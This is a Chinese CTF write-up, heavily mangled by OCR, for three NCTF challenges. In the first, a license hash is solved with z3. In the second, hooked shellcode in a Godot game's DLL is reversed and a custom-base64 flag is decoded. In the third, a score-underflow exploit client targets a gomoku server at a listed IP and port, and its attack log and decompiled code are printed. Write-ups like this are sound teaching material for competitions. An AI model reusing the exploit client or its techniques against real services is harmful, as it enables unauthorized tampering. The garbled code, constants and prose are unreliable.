verify_license_impl&ERERIN, EIEANCTF-XXXX-XXXX-XXXX, EHHPXHIARAEFBHHF,
M EEERE

normalize_keyRViZBE EIEFISNCTF-, ARIBEE=EREEHER, B5—1key
key BEEHE— 32 PG HEE: O0xFCITCA2F
M wat IR HRAVIZEINT

(GRS

1 def rol32(x, n):

2 X &= Oxffffffff

3 return ((x << n) | (x > (32 - n))) & oxffffffff

4

5 def hash_normalized_key(keyl2: ) —>

6 state = 4951

7 for i, b 1in (key12):

8 terml = (((Ox9E37 if (i & 1) else 0x45D9) + b) * (i + 11)) & Oxffffffff
J term2 = ((b << (i % 5)) A OXA5A55A5A) & OXFFffffff
10 state = ((terml * rol32(state, 3)) + term2) & OxFfffffff
11 return state

RERMBT, verify_licenseiR[al{"ok":false,"code":1003,"message":"license verification
failed""data":null}

AEEunlock_flag, EXRSEEETRIREANNsessionToken, MEBSEMITE—E, ABMILRK

build_session_tokenBYHINSEFR E R EWIE: [RigkeyFboard.len(), HEREEALZR, FAUIRM
RakeyH *

flagllZ X 17fi#, seedEnormalize_key + "|arcade::unlock-seed"

BXFIORMARZENT

(GRS

1 cipher = [
2 13, 56, 42, 25, 169, 244, 236, 247, 250, 16, 53, 94, 39, 198,
3 182, 147, 230, 168, 83, 54, 11, 101, 131, 237, 196, 183, 95,



4 61, 99, 89, 39, 148, 134, 255, 231, 15, 66, 20, 95, 5, 200, 251,

(ASEEZS

1 plain[i] = cipher[i] ” seed[i % len(seed)] " ((29 * i + 17) & Oxff)

MEBXZ MBI LAE Y flag @ UUID Mg, FELLaT EAENAR:
NCTF{[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}}

GEXATAIR, BLZ30UNIEIE—E: normalize_keyKERBEN 12, 81MNFFFETFT [0-9A-
Z] , MafmENMNFTOXFCITCA2F, & HKAEAS K IILES NCTF{8-4-4-4-12}#7 UUID X%

ARISIR
1 from z3 import *
2
3 TARGET = OxFC97CA2F
4 CIPHER = [
5 13, 56, 42, 25, 169, 244, 236, 247, 250, 16, 53, 94, 39, 198,
6 182, 147, 230, 168, 83, 54, 11, 101, 131, 237, 196, 183, 95,
7 61, 99, 89, 39, 148, 134, 255, 231, 15, 66, 20, 95, 5, 200, 251,
8 ]
9 TAIL = b"|arcade::unlock-seed"
10  FIXED = {
11 0: "N",
12 iy WEw,
13 Ag W,
14 3: "F",
15 Al W
16 13: "-",
17 g W=t
18 23: "-n,
19 28: "-",
20 41: "}v,
21}
22 HEX_CHARS = [ord(c) for c in "0123456789%abcdef"]
23
24 s = Solver()
25 key = [BitVec(f"k{il}", 8) for i in range(12)]
26
27  for b 1in key:
28 s.add (0r(



29
30
31
32
33
34
35
36
37

38
39
40
41
42
43
44
45
46
47
48

49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

64
65
66
67

And (UGE (b, BitVecVal(ord("0"), 8)), ULE(b, BitVecVal(ord("9"), 8))),
And (UGE (b, BitVecVal(ord("A"), 8)), ULE(b, BitVecVal(ord("Z"), 8))),

))

# wasm_core: :license: :verify_license_impl EHJ 32 (il47%
state = BitVecVal(4951, 32)
for i, b in enumerate(key):
X = ZeroExt(24, b)
(BitVecVal (40503 +if (i & 1) else 17881, 32) + x) * BitVecVal(i +

terml
11, 32)

term2 = (x << (i % 5)) M BitVecVal(0OxA5A55A5A, 32)
(terml A RotatelLeft(state, 3)) + term2

state

s.add(state == BitVecVal(TARGET, 32))

# seed = normalize_key + "[arcade::unlock-seed"
seed = key + [BitVecVal(c, 8) for c 1in TAIL]

plain_exprs = []

for i, c in enumerate(CIPHER):

plain = BitVecVal(c, 8) " seed[i % len(seed)] " BitVecVal((29 * i + 17) &
OxFF, 8)

plain_exprs.append(plain)

if i in FIXED:
s.add(plain == BitVecVal(ord(FIXED[i]), 8))
else:
s.add(Or (*[plain == BitVecVal(x, 8) for x in HEX_CHARS]))

assert s.check() == sat
m = s.model()

normalized = "".join(chr(m[b].as_long()) for b in key)
flag = "".join(chr(m.eval(p).as_long()) for p in plain_exprs)

print("normalized =", normalized)

print("license =", f"NCTF-{normalized[:4]}-{normalized[4:8]}-
{normalized[8:]}")
print("flag =", flag)

# NTFIUE— T 2T EM—HF
s.add(Or(*[b != m[b] for b 1in key]))
print("unique =", s.check() == unsat)



normalized = RU57W45M2048

license = NCTF-RUS57-W45M-2048

flag NCTF{bff16266-c4f2-4dbb-b270-f5ded9eeb54c}
unique True

No My Bank
BEAB Lin/ vk 2 AgodotdlfFRY, BEiFiiH/NT A gdsdecomp
RART, FEkey, XNZERR BiAIRIPHET

® Godot RE Tools

® RE Tools = PCK '!"[- GDScript @ Resources

Failed to open ["NoMyBank.exe"]:
Incorrect encryption key. Please set the correct key and try again.

BAANEEE exeXth, BME—T.AIUXHE
EIEDXERITDFTIARZEAD 5A, MR RERWINE T

96 95 C5 81 F8 OF 57 EF 79 24 DO 35 EO E1 17 F1 =+A.@.Wiy$D5aa.
C3 45 87 39 DD 6F 01 A2|E1 26 64 9E 72 18 08 B6 ﬂEiQ\”D.Cé&dir..
2B B7 18 6C 31 3D 2C 18 C9 68 CF 3D 4D 4E 19 F8 .11=, .EhI=NN.
E5 40 /8 51 2D 2F OB 93 DB 4/ 4E FE 1D 47 OE 1/ a@XQ /."UGNp.G.
EF OF 43 98 90 5C 9B 71,96 /7 F4 E8 ED 4C 43 BF 1i.C”

BITNEREAMELEN, HIXATHEHZEEBREER, XREHT, BEAEGTEFRESHI
—PNEEAINXHE, BEEHITX

PS D:\> &
PS D:\> WorkerThreadPool: 16 threads, 4 max low-priority.



https://github.com/bruvzg/gdsdecomp

PS C:\Users\22402> Get-Process NoMyBank
>> Where-Object { .ModuleName
>> Select-Object ModuleName, FileName

ModuleName FileName

_libextension.dll C:\Users\22402\AppData\Local\Temp\_libextension.dll

BRRRRIEER TRZE—BHAEKE, HAEMHXERT—REZLE, TEET TE
x, RUELKEHIRT, ARFET

Volume in drive D is FHINE
Volume Serial Number is 1E02-371A

Directory of d:\ctf\nomybank

2026/04/07 03:07 <DIR>
2026/04/07 01:39 <DIR>

2026/04/07 01:05 <DIR> extract
2026/0U4/07 01:06 <DIR> extract2
2026/03/20 10:53 1,420,288 libextension.dll
2026/03/20 10:52 91,699,032 NoMyBank.exe
2026/04/07 02:52 1,420,288 _libextension.dll
3 File(s) 94,539,608 bytes
4 Dir(s) 181,365,309,U440 bytes free

BNEERET, REETRREXHFRIT, ETFREFTIUREIdERET
ctri+f#Zflag, EAIRLXEREL



1
2
3
4
5
6
7
8

9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25 }

int64 sub_180001C20()

«

__inte4 ve; // rax

__inte4 v1; // rax

__inte4 v2; // rax

__inté4 v3; // rax

__int64 v4; // rax

__int64 v5; // rax

_BYTE v7[8]; // [rsp+56h] [rbp-68h] BYREF
_BYTE v8[8]; // [rsp+58h] [rbp-686h] BYREF
_BYTE v9[8]; // [rsp+68h] [rbp-58h] BYREF
_BYTE v1e[24]; // [rsp+68h] [rbp-58h] BYREF
_BYTE v11[24]; // [rsp+8eh] [rbp-38h] BYREF
_BYTE v12[32]; // [rsp+98h] [rbp-28h] BYREF

ve = sub_18ee16810(v7, "show_flag dialog", ©);
vl = sub_18ee329A0(v16, ve);

sub_1800033A0(v1, sub_180002310);

v2 = sub_18e016810(v2, " _on_check pressed”, 0);
v3 = sub_18e0329A0(v1l, v2);

sub_1800033A0(v3, sub_180001760);

v4d = sub_18ee16810(v9, "quit_game", @);

v5 = sub_18e@329A0(v12, v4);

return sub_186e@33Ae0(v5, sub_18€e02389);

—RRIRERI &, HEIX DR
BIHERE: MANFT, SIBERTEAMZRNEELLR



DWORD *__fastcall sub_1800024A8(__int64 al, __int64 p_Bufl, _DWORD *p_Size)

|

1
2
3 _DWORD *p_Size_1; // rax
4 int n5; // [rsp+26h] [rbp-58h]
5 int n1@; // [rsp+24h] [rbp-54h]
6 unsigned int v6; // [rsp+28h] [rbp-58h]
7 unsigned int v7; // [rsp+2Ch] [rbp-4Ch]
8 int ni1e_1; // [rsp+36h] [rbp-48h]
9 int v9; // [rsp+34h] [rbp-44h]
1@ int n32; // [rsp+38h] [rbp-48h]
11 _DWORD buf [1@]; // [rsp+4@h] [rbp-38h] BYREF

® 13 memset(buf_, @, sizeof(buf_));
® 14 for ( n5 =8; n5 < 5; ++n5 )

15 {
® 16 buf_[2 * n5] = sub_180@823A0(8 * n5 + al);
® 17 buf _[2 * n5 + 1] = sub_1800023A8(8 * n5 + 4 + al);
18}
® 19 for ( nle = ©; nle < 10; nlod += 2 )
20 {
e 21 Ve = 8;
® 22 vée = buf_[nl18];
® 23 v7 = buf_[nl@ + 1];
® 24 for ( n32 = @; n32 < 32; ++n32 )
25 {
® 26 v9 += 1131796;
® 27 v6 += (unk_18014F49C + (V7 >> 5)) ~ (v2 + v7) ~ (unk_18014F498 + 16 * v7);
e 28 v7 += (unk_18014F4A4 + (v6 >> 5)) ~ (v2 + v6) ~ (unk_18014F4A8 + 16 * Vv6);
29 }
® 39 buf_[nle] = v6;
e 31 buf_[n1e + 1] = v7; |
32}
® 33 for ( nle_1 = 8; nle_1 < 10; ++nle_1 )
® 34 sub_180002418((unsigned int)buf _[n16_ 1], 4 * nle_1 + p Bufl);
® 35 p Size 1 = p_Size;
® 36 *p Size = 40;
® 37 return p_Size 1;
® 38 }

BRAMERAEFRE—FEE, MZaifon_check_pressedX BB THWAR XA, RERREERE]
TR RS

FEimporti#&RVirtualprotectEEx, FSEIIN TEA REEGTTHNEERNES, HEIEERITHE
0x180002700

u

if (a2 ==1)

[ ——

phModule[8] = @;

GetModuleHandleExW(6u, (LPCWSTR)TlsCallback_1, phModule);

phModule[1] = (HMODULE)9376;

lpAddress = phModule[@] + 2344;

VirtualProtect(phModule[@] + 2344, ©xEu, ©x40u, &fFl0ldProtect);

LOWORD(Src[@]) = -18360;

WORD1(Src[1]) = -7937;

*(_QWORD *)((char *)Src + 2) = sub_180002700;

memcpy(lpAddress, Src, @xCu);

VirtualProtect(lpAddress, @xEu, flOldProtect, &flOldProtect);

hProcess = GetCurrentProcess();

FlushInstructionCache(hProcess, lpAddress, ©@xEu);



byte_18014F491:2 0xBA, FOOOZ/REXIE

1 LPVOID __ fastcall sub_l18ee02700(__int64 al, __int64 a2, __inte4 a3)
2 {

3 LPVOID lpBaseAddress_1; // rax

4  unsigned __inté4 nex491; // [rsp+28h] [rbp-28h]

5 LPCVOID lpBaseAddress; // [rsp+28h] [rbp-26h]

6 HANDLE hProcess; // [rsp+38h] [rbp-18h]

7

8

if ( !::lpBaseAddress )

9
® 10 lpBaseAddress 1 = VirtualAlloc(@, ©x491u, ©x1eeeu, ox4eu);
e 11 ::1pBaseAddress = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD))lpBaseAddress_1;
e 12 if ( !1lpBaseAddress_1 )
e 13 return lpBaseAddress_1;
e 14 for ( nex491 = @; nex491 < 8x491; ++nex491 )
® 15 *((_BYTE *)::1lpBaseAddress + n@x491) = byte_18014F491 ~ byte 18014F000[nox491];
e 16 lpBaseAddress = ::lpBaseAddress;
e 17 hProcess = GetCurrentProcess();
® 18 FlushInstructionCache(hProcess, lpBaseAddress, ©x491u);
® 19 Sleep(@);
20 }
® 21 return (LPVOID)::lpBaseAddress(al, a2, a3);
®22}
B el BRI 2 AT LASR R R

LERFEZ LEME—1R, BFTHERI OxFF , RAFE table,
ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrgponmlkjihgfedcba9876543210+/
2. B —EZEFTIE, base64 ERKESTM 56 F1. HEBIMFTHEM

=EBH 0x1800ea520 FFiEMI 56 FTHE S,
2bf7675e7c98ed6dd18cef57bb33227eb21f345b366c2bafbb5b12d63c0a4527846c47ab2f75783e8
8892d7acd5cf6fa3673ff6ed34clc75

ARG ER

1 @'

2 def ror8(x, r):

3 return ((x >> r) | ((x << (8 = r)) & Oxff)) & Oxff

4

5 alphabet = "ZYXWVUTSRQPONMLKJIIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"

6 1inv = {c: i for 1, c in enumerate(alphabet)}

-

8 target = bytes.fromhex(

9 "2bf7675e7c98ed6dd18cef57bb33227eb211345b366¢c2baf"
10 "bb5b12d63c0a4527846c47ab2f75783e88892d7acd5cf6fa"
11 "3673ff6ed34clc75"

12 )

13

14 enc = bytearray()

15 seed = 0x114514

16 for i, b in enumerate(target):



17 X = ror8(b * OxBA, 2)

18 X M= (seed >> ((i * 8) % 24)) & Oxff

1g enc.append(x)

20 seed = (seed * 0x1010193 + 0x12345678) & Oxffffffff
21

22 sextets = []
23 for i din range(0, len(enc), 4):

24 cO, cl, c2, c3 = map(chr, enc[i:i + 4])
25 idx0 = inv[cO]

26 idx1l = dnv[cl]

27 idx2 = dnv[c2] if c2 = "=" else 0
28 idx3 = dnv[c3] if c3 != "=" else 0
29 sO@ = 1idxl

30 sl = idx0

31 s2 = 1idx3

32 s3 = idx2

33 sextets.extend([s0, sl, s2, s3])
34

35 out = bytearray()
36 for i in range(0, len(sextets), 4):

37 sO@, sl, s2, s3 = sextets[i:i1 + 4]

38 c2 = chr(enc[i + 2])

39 c3 = chr(enc[i + 3])

40 out.append(((s® << 2) | (sl >> 4)) & Oxff)

41 if c2 1= "=":

42 out.append((((s1l & OxF) << 4) | (s2 >> 2)) & 0xff)
43 if c3 1= "=":

44 out.append((((s2 & 0x3) << 6) | s3) & 0Oxff)

45

46  key = out.decode()

47 flag = key.replace("o", "0").replace("e", "3").replace("i", "1")
48 print("key =", key)

49 print("flag =", flag)

50 '@ | python -

51

, RIB@EE, 0x180002950 AXIMAM—REM, B =3flaghha]

® o0 —> 0
e e —> 3
e 1 —> 1

key = NCTF{You_deserve_this_gift blbd7c719cfc}

flag = NCTF{Y@u_d3s3rv3_thls_glft_blbd7c719cfc}
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1 int _ fastcall main(int argc, const char **argv, const char **envp)
2 {
3 int packet; // eax
4 _BYTE v5[104@]; // [rsp+6h] [rbp-1848h] BYREF
5 _QWORD buf[138]; // [rsp+41eh] [rbp-1438h] BYREF
6 _QWORD p_Invalid_packet[517]; // [rsp+828h] [rbp-1828h] BYREF
7
o 8 memset(buf, @, sizeof(buf));
o 9 strepy((char *)&uf[1], "player");
® 12 game_reset(&buf[9], argv, envp);
e 11 if ( !(unsigned int)db_open(buf, "game.db") )
e 12 return 1;
® 13  if ( !(unsigned int)db_ensure_schema(buf[@]) || !(unsigned int)db_ensure_player(buf[@], &buf[1], 50) )
14
® 15 db_close(buf[e]);
e 16 return 1;
17

¥
18 setvbuf(stdin, @, 2, 8);

L
® 19 setvbuf(stdout, €, 2, 8);
® 20 setvbuf(stderr, @, 2, 9);
® 21 while (1)
22 {
® 23 packet = protocol_read_packet(stdin, v5);
® 24 if ( !packet )
e 25 break;
® 26 if ( packet < @)
27 {
e 28 protocol_write_response(stdout, 255, "Invalid packet");
29 }
30 else
31 {
® 32 handler_handle_packet(buf, v5, p_Invalid packet, 4896);
e 33 if ( !(unsigned int)protocol_write_response(stdout, v5[@], p_Invalid packet) )
® 34 break;
35 }

36}

® 37 db_close(buf[@]);
® 38 return @;

® 39}

game_reset(&buf[9], argv, envp) R BAXBHELE— “HEIWE" HRERS, FREAHIEEDR
AEBELIREEX:

(AGEES
1  +if ( !(unsigned int)db_open(buf, "game.db") )

3 if ( !(unsigned 1int)db_ensure_schema(buf[0]) || ! (unsigned
int)db_ensure_player(buf[0], &buf[1], 50) )

XinbH: EFAttE N game.db, SEGIER, IHIR player XFIERFHE
whilefBIF gEIRH ARSI TIESEM stdin —1 8, REBERE, ARELEREEstdout

protocol_read_packetiXMR#L, M stdin IRER—MEUEEL, #HFIEK "GAME", RA4FTKE+1F
TER S, BiX payload, IBERTFH a2 F5MAVEE

BRI

HABIR

1 4 bytes magic = "GAME"



2 4 bytes big-endian total_len
3 1 byte cmd
4 N bytes payload

6 char v5; // al

7 int ptr; // [rsp+7h] [rbp-31h] BYREF

8 unsigned int ptr_; // [rsp+Bh] [rbp-2Dh] BYREF
9 char v8; // [rsp+Fh] [rbp-29h]

e 11 ptr = 86;

e 12 *(_QWORD *)a2 = @;

® 13 *(_QWORD *)(a2 + 1828) = ©;
® 14  memset(

15 (void *)((a2 + 8) & @xFFFFFFFFFFFFFFFSLL),

16 o,

17 8LL * (((unsigned int)z2 - (((_DWORD)a2 + 8) & OxFFFFFFF8) + 1@36) >> 3));
e 18 if ( fread(&ptr, 1lu, 4u, stdin@GLIBC_2.2.5) l=4)
e 19 return @;
® 20 while ( ptr != 1162690887 )

21
e 22 memmove (&ptr, (char *)&tr + 1, 3u);
® 23 v3 = fgetc(stdin@GLIBC_2.2.5);

e 24 if ((v3 ==-1)
e 25 return ©;
® 26 HIBYTE(ptr) = v3;

27}

28  if ( fread(&ptr_, 1lu, 5u, stdin@GLIBC_2.2.5) !=5)

29 return @;

38 result = @xXFFFFFFFFLL;

31  nex4ee = _byteswap_ulong(ptr_) - 9;
if ( (unsigned int)nex4ee > ex4ee )
33 return result;

34 v5 = v8;

35 *(_DWORD *)(a2 + 4) = nex4es;

36 *(_BYTE *)a2 = v5;

37 if ( (_DWORD)nex4ea )

® & 00 000 0 00
w
N

38
® 39 if ( (unsigned int)nex480 == fread((void *)(a2 + 8), 1lu, (unsigned int)n@x4@6, stdin@GLIBC_2.2.5) )
48
® 41 nox4ee = *(unsigned int *)(a2 + 4);
e 42 goto LABEL_9;
43 |
® 44 return 9;
45 3}
46 LABEL_9:

® 47 *(_BYTE *)(a2 + nex4ee + 8) = @;
48  return 1;
® 49}

#E&Fhandler_handle_packeti&i$k
caselBiflag, R[BEHE—78E



switch ( *a2 )

{
case 1:
if ( !(unsigned int)db_get_top_player(*(_QWORD *)buf, v18) )
return snprintf((char *)p_Invalid_packet, n4e896, "DB error™);
if ( strcmp(sl, buf + 8) )
return snprintf((char *)p_Invalid packet, n4896, "Permission denied");
env = getenv("GZCTF_FLAG");
env_1 = env;
if ( env )
{ *
if ( l*env )
env_1 = "Fail to get flag from environment variable";
¥
else
{
env_1 = "Fail to get flag from environment variable";
¥
return snprintf((char *)p_Invalid packet, n4@96, "%s", env_1);
casedZreset
case 4:
if ( !(unsigned int)db_reset_challenge_state(*(_QWORD *)buf, buf + 8, 508) )
goto LABEL_25;
game_reset(buf + 72, buf + 8, envp);
if ( !(unsigned int)db_get_player(*(_QWORD *)buf, buf + 8, v1ig8) )
goto LABEL_25;
v12 = v21;
v1l3 = v20;
p_Reset = "Reset";
LABEL_23:
result = snprintf((char *)p_Invalid_packet, n4896, "%s Score=%u Rank=%d", p_Reset, v13, v12);
break;
case5FE LAY F
case 5:

if ( *((_DWORD *)buf + 243) )
return snprintf((char *)p_Invalid_packet, n4096, "Game already in progress");
if ( !(unsigned int)db_pick_default_opponent(*(_QWORD *)buf, buf + 8, vig) )
return snprintf((char *)p_Invalid_packet, n4@96, "No opponent available");
game_start(buf + 72, s1);
return snprintf((char *)p_Invalid_packet, n4896, "Matched %s Score=%u You=Black", sl1, v2@);

caseT&F
case 7:
return handle _move(buf, a2, p Invalid packet, n4096);
case8BXiE, ZHF/IY 8 S %A
MRLGFEBRETH, 8 ARHIAMEEZIUEXF, iREl Draw Delta=0
MRMBARTH, 874 K7E settle_game(...,0.0), UFEREIEIANG
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case 8:
p_Unknown_command = "No active game";
if ( !*((_DWORD *)buf + 243) )
goto LABEL_27;
if ( (unsigned int)game_is_empty(buf + 72, @, "No active game") )

{
if ( (unsigned int)db_get_player(*(_QWORD *)buf, buf + 8, v15)
&& (unsigned int)db_get_player(*(_QWORD *)buf, buf + 976, v18) )
{
game_reset(buf + 72, buf + 976, envp_1);
result = snprintf(
(char *)p_Invalid_packet,
n4096,
"Draw Delta=@ Score=%u Rank=%d OppDelta=0 OppScore=%u",
v16,
v1l7,
v20);
}
else
{
LABEL_25:
result = snprintf((char *)p_Invalid_packet, n4e@%6, "DB error");
}
¥
else
{
result = settle_game(buf, "Resign"”, p_Invalid packet, n4@96, ©.9);
¥
break;
default:
p_Unknown_command = "Unknown command”;
LABEL_27:
result = snprintf((char *)p_Invalid_packet, n4@96, p_Unknown_command);
break;

¥

return result;

}

FRUAT AR XM A TR 535 5 ILEC, Bk, MRAZREN, Y% 8FNTHE, FriXETITHE
Ho MR, BEEIRIEIBERDE
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1 int _ fastcall handle_move(__inté4 buf, __ inté4 a2, char *p_Invalid_packet, size_t n4@96)
2{

w

unsigned int v7; // [rsp+8h] [rbp-1838h] BYREF
4 unsigned int v8; // [rsp+4h] [rbp-1624h] BYREF
5 unsigned int v9; // [rsp+8h] [rbp-1836h] BYREF
6 unsigned int vl1e; // [rsp+Ch] [rbp-182Ch] BYREF
7 char v11[4136]; // [rsp+1@8h] [rbp-1028h] BYREF
8

9 if ( !*(_DWORD *)(buf + 972) )

18 return snprintf(p_Invalid_packet, nd4@96, "No active game");

11 if ( !(unsigned int)game_parse_move(z2 + 8, &7, &v8) || !(unsigned int)game_apply_player_move(buf + 72, v7, vg8) )
12 return snprintf(p_Invalid_packet, n4096, "Invalid Move");

12 if ( (unsigned int)game_has_winner(buf + 72, 1) )

return settle_game(buf, "Win", p_Invalid packet, n4e96, 1.9);

15  if ( (unsigned int)game_is_full(buf + 72) )

16 return settle_game(buf, "Draw", p_Invalid packet, n4896, ©.5);
17 ai_choose_move(buf + 72, &v9, &via);

18 if ( !(unsigned int)game_apply_ai_move(buf + 72, v9, v1B) )

19 return snprintf(p_Invalid_packet, n4©96, "Internal move error");
20 if ( !(unsigned int)game_has_winner(buf + 72, 2) )

e e ec e e oo e
=
'S

® i; ¢ if ( !(unsigned int)game_is_full(buf + 72) ) |

o ii ¢ game_serialize_board(buf + 72, vi1l, 4096);

® 25 return snprintf(p_Invalid_packet, n4@96, "Continue AI=%d,%d Board=%s", v9, vile, vll);
o ig ieturn settle_game(buf, "Draw", p_Invalid_packet, n4@96, ©.5);

o ig ieturn settle_game(buf, "Lose", p_Invalid_packet, nd@s9s, 6.8);

® 30}

X score_apply_buggy updateEiigaE, F—HR

1int _ fastcall settle_game(_QWORD *buf, const char *p_Resign, char *p_Invalid_packet, size_t n4896, double a5)
2{

_QWORD *v5; // ri3

__int64 v9; // rdi

unsigned int vi1@; // eax

__inté4 envp; // rdx

unsigned int v13; // [rsp+eh] [rbp-Fsgh]

int v14; // [rsp+18h] [rbp-Eeh] BYREF

9 int v15; // [rsp+1Ch] [rbp-DCh] BYREF

10 _BYTE v16[68]; // [rsp+206h] [rbp-D8h] BYREF
11  unsigned int v17; // [rsp+64h] [rbp-94h]

12 int v18; // [rsp+68h] [rbp-98@h]

13 _BYTE v19[68]; // [rsp+76h] [rbp-88h] BYREF
14 unsigned int v2@; // [rsp+B4h] [rbp-44h]

0NV pw

15

16 v5 = buf + 1;
17 v9 = *buf;

18 vi14 = 8;

19 v15 = 8;

20 if ( (unsigned int)db_get_player(ve, v5, v16)

21 && (unsigned int)db_get_player(*buf, buf + 122, v19)

22 && (v1@ = score_apply_buggy_update(vl7, v20, &v14, =25), (unsigned int)db_update_player_score(*buf, v5, v18))

23 && (v13 = score_apply_update(v2e, v17, &v15, 1.8 - 25), (unsigned int)db_update_player_score(*buf, buf + 122, vi13))
24 && (game_reset(buf + 9, buf + 122, envp), (unsigned int)db_get_player(*buf, v5, vi6)) )

25 {

26 return snprintf(

27 p_Invalid_packet,

28 n4e96,

29 "%s Delta=%d Score=%u Rank=%d OppDelta=%d OppScore=%u",
3e p_Resign,

31 vi4,

32 v17,

33 v18,

34 v15,

35 v13);

36}

37 else

38 {

39 return snprintf(p_Invalid_packet, n4896, "DB error");
40

41}

ERSEFRZIER
o WNRYFIHE NI >9, HIFR[E NI+ V6
o FEUWR delta>=0, tLEZIRE N9 +v6
e RAETE:
o n9<=9



o Hdelta<0
F1RER B[S n9

1 __int64 _ fastcall score_apply buggy_update(unsigned int n9, int a2, int *a3, double a4)
2 {
3 double x; // xmm2_8
4  int v6; // eax
5
b6 = (a4 - 1.0 / (pow(10.0, ((double)a2 - (double)(int)nS) / 58.8) + 1.8)) * 20.0;
i 7 ve = lround(x);
r 8 if ( a3 )
) 9 *a3 = v6; |
v18 if (n2 > 9 || ve >=0)
r 11 return n9 + vG;
12  else
113 return n9;
) 14 }

FRLL, HMROMAT IR, REXF delta 2, BEFEMRAFLEREZRTRAIK
i, %45 sqlite3_bind_int64 WAE—1EIEMNEBTTS 64 iEEK, ME—1 unsigned int

1 _BOOL8 _ fastcall db_update_player_score(__int64 al, __int64 a2, unsigned int a3)
21

3 _BOOLS8 v3; // rbp

4 _QWORD ve[4]; // [rsp+8h] [rbp-2@h] BYREF

5

6 LODWORD(v3) = ©;

7 wve[e] = e;

8 if ( !(unsigned int)sqlite3_prepare_v2(z1, "UPDATE players SET score = ? WHERE name = ?;", @xFFFFFFFFLL, v&, @) )
2 {

18 sqlite3_bind_int64(vG[@], 1, =3);

11 sglite3_bind_text(veé[@], 2, a2, @xFFFFFFFFLL, -1);

12 v3 = (unsigned int)sqlite3_step(v6[0]) == 161;

13 sqlite3_finalize(ve[e]);

14 }

15 return v3;

16 }

XAFEIE score_apply_buggy_update 8EiR[E] -1 £55i#23K, score_apply_buggy_update 215 1B
RO EMN -1, XMEMEEEL db_update_player_score, T2 -1 2% 32 UL SEMBRRR
Oxffffffff = 4294967295, RAIEEEE HENRE4294967295

Sz

HEIR

import re
import socket
import struct

"114.66.24.221"

PORT 34323

1
2

3

4

5 HOST
6

7

8 WIN_SEQ = ["1,1", "2,1", "3,1", "4,1", "5,1"]
9

PLAN = [
10 ("L", 50),
11 ("L", 30),
12 ("w", 10),

13 ("L", 20),



14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
83
34
35
36
37
38
39
40

41
42
43
44
45
46
47
48

49
50
51
52
53
54
55
56
57
58

(IILII, 2@),
("L, 4),

MATCH_RE = re.compile(r"Matched (.+) Score=(\d+) You=Black")

class Client:
def __init__(self, host: str, port: int):
self.sock = socket.create_connection((host, port), timeout=5)

self.sock.settimeout(5)

def close(self) -> None:

self.sock.close()

def _recv_exact(self, n: int) -> bytes:
data = b""
while len(data) < n:
chunk = self.sock.recv(n - len(data))
if not chunk:
raise EOFError(data)
data += chunk

return data

def request(self, typ: int, payload: bytes | str = b"") -> tuple[int, str]:
if dsinstance(payload, str):
payload = payload.encode()
packet = b"GAME" + struct.pack(">I", 9 + len(payload)) + bytes([typ])
+ payload
self.sock.sendall(packet)

header = self._recv_exact(9)
if header[:4] != b"GAME":
raise ValueError(f"bad header: {header!r}")

total_len = struct.unpack(">I'", header[4:8])[0]
body = self._recv_exact(total_len - 9).decode('"utf-8",
errors="replace")

return header[8], body

def match_target(client: Client, target_score: int) -> None:
while True:
_, msg = client.request(5)
print(f"[match] {msg}")
m = MATCH_RE.search(msg)
if not m:

raise RuntimeError (f"unexpected match reply: {msg}")



59 score = int(m.group(2))

60 if score == target_score:

61 return

62

63 _, cancel_msg = client.request(8)
64 print(f"[cancel] {cancel_msg}")

65

66 def lose_fast(client: Client) -> str:

67 _, move_msg = client.request(7, "7,7")
68 print(f" [move] {move_msg}")

69 _, resign_msg = client.request(8)

70 print(f"[lose] {resign_msg}")

71 return resign_msg

72

73  def win_game(client: Client) -> str:

74 last = """

75 for mv in WIN_SEQ:

76 _, last = client.request(7, mv)

77 print(f"[move] {mv} -> {lastl}")
78 if not last.startswith("Continue"):
79 break

80 return last

81

82 def main() -> None:

83 client = Client(HOST, PORT)

84 try:

85 print(f"[reset] {client.request(4)[1]}")
86

87 for action, score in PLAN:

88 match_target(client, score)

89 if action == "L'":

90 lose_fast(client)

91 else:

92 win_game (client)

93 print(f"[self] {client.request(2)[1]}")
94

95 print(f"[flag] {client.request(1)[1]}")
96 finally:

97 client.close()

98

99 if __name__ == "__main__":

100 main()

101



0000000000000,/000000000000000/000000000000000/000000000000000

[move] 5,1 => Win Delta=6 Score=34 Rank=1005 OppDelta=-6 OppScore=u
[self] OK Score=34 Rank=1005

[match] Matched L& /&1E Score=u4 You=Black

[cancel] Draw Delta=0 Score=34 Rank=1005 OppDelta=0 OppScore=u

[match] Matched JtE & Score=u40 You=Black

[cancel] Draw Delta=0 Score=3u4 Rank=1005 OppDelta=0 OppScore=u40

[match] Matched JtETREE Score=u40 You=Black

[cancel] Draw Delta=0 Score=34 Rank=1005 OppDelta=0 OppScore=u0

[match] Matched /X {#¥E Score=20 You=Black

[move] Continue AI=6,6 Board=000000000000000/000000000000000/000000000
000000/0000PAAAAAAEO00/0000AAAAAAAAE0/000000000000000,/000000200000000/0
0000001000AAA0/00NONNNOONORAAE/0000AAAAAAAAAA0,/000000000000000,/000000000
clelelelelepAelelelelelelelelelelelelelolopdolololelelelelelololololo o lo A elole e oTe e e e TeToTo o To]

[lose] Resign Delta=-13 Score=21 Rank=1006 OppDelta=13 OppScore=33
[self] OK Score=21 Rank=1006

[match] Matched Z#&1E Score=4 You=Black

[cancel] Draw Delta=0 Score=21 Rank=1006 OppDelta=0 OppScore=i

[match] Matched JtE TR Score=uU0 You=Black

[cancel] Draw Delta=0 Score=21 Rank=1006 OppDelta=0 OppScore=u0

[match] Matched E®IFTF Score=20 You=Black

[move] Continue AI=6,6 Board=000000000000000/000000000000000/000000000
000000/000000000000000/000000000000000/000000000000000/000000200000000/0
00000010000000/000000000000000/000000000000000,/000000000000000/000000000
000000/000000000000000/000000000000000/000000000000000

[losel] Resign Delta=-10 Score=11 Rank=1007 OppDelta=10 OppScore=30
[self] OK Score=11 Rank=1007

[match] Matched Z/X{#¥ £ Score=33 You=Black

[cancel] Draw Delta=0 Score=11 Rank=1007 OppDelta=0 OppScore=33

[match] Matched Z#2)R1E Score=4 You=Black

